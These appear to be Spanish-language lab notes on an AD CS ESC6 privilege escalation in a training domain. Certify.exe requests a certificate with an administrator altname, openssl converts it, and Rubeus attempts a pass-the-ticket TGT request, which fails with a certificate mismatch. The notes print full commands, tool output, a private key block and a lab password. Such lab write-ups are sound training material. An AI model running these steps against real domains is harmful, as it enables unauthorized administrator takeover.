AD CS - ESC6
Escalacion de Domain Admin
La plantilla "CA-Integration" permite la inscripciĆ³n del grupo RDPUsers. Realizamos una solicitud de un certificado para DA (o EA) como student723.
PS C:\ad\tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"CA-Integration" /altname:administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : dcorp\student723
[*] No subject name specified, using current context as subject.
[*] Template : CA-Integration
[*] Subject : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local
[*] AltName : administrator
[*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 35
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA1iZ4dT7lOMIikGv3fnyFUA0rJ7lRZIe/YqRzkxAMKQrBiw5q
MR4JHkdGaE7azxKKVEOj8MQiZCbChhJ/dfys7E/MlaPFKLEJ9QwhfV/C/wTwdrO6
prxZfFN9lbK5GfUAz1bVCwEJr5VNV+QnAaBQQdJ8OmE0/8e08Wohi1baS2vbJ0vw
3YXOhujLAMWh8D0wzW0vkp0gxve1Ca6suwkvAd0nRRvMp8OSRRRWtlouRSZvDHk+
NRYVB2hnjWxTN4SP4xcigWb1TvKV2HfMmRkcRO5kvXzz4wOTMTnBTIz0YCNvkDPh
cvfgTcLNlNFGf50ThbrlX/KVUErHV03ud6nlAQIDAQABAoIBABSqGa2WqB/V++fb
w0IdWe/jlWp743LD9p/aJpzmS4YaV5rHhU/ACjk1v4GJOmwI6fg/nq44/uiTJOoz
FsGX5EfZW3CFIR1QGBnhVcn3V6WsIFgT98rnGet5UwEDAgGTNsTLKDurmferfI8i
oPDzO0teuEYZ4zdbW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bNb6XMp2DjBV/PfRKrRx5vPINeFJJ+pRH5e48X9+3QS0eV/hK6omeL
Rb/PTdkhrHzVvIvh8miJBw81d5dA6KV+qgdevE4vGcYZpx0OFKNjQDkJdSMzlXJb
nAB2F69SBq6dzDy9NO0uTl2Cqm5ETqhsQsA3d4rTy4FOc9vueF5+ZDuEfu6Eozwe
zD286p2cxPHQQgM56iczoMui94++W+DQT236eJ0L/JCTASz/rwg=
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:10.4666049
PS C:\ad\tools\openssl> .\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc6.pfx
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:
PS C:\ad\tools\openssl> ..\Rubeus.exe asktgt /user:administrator /certificate:esc6.pfx /password:SecretPass@123 /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\administrator'
[*] Using domain controller: 172.16.2.1:88
[X] KRB-ERROR (66) : KDC_ERR_CERTIFICATE_MISMATCH
PS C:\ad\tools\openssl>
Last updated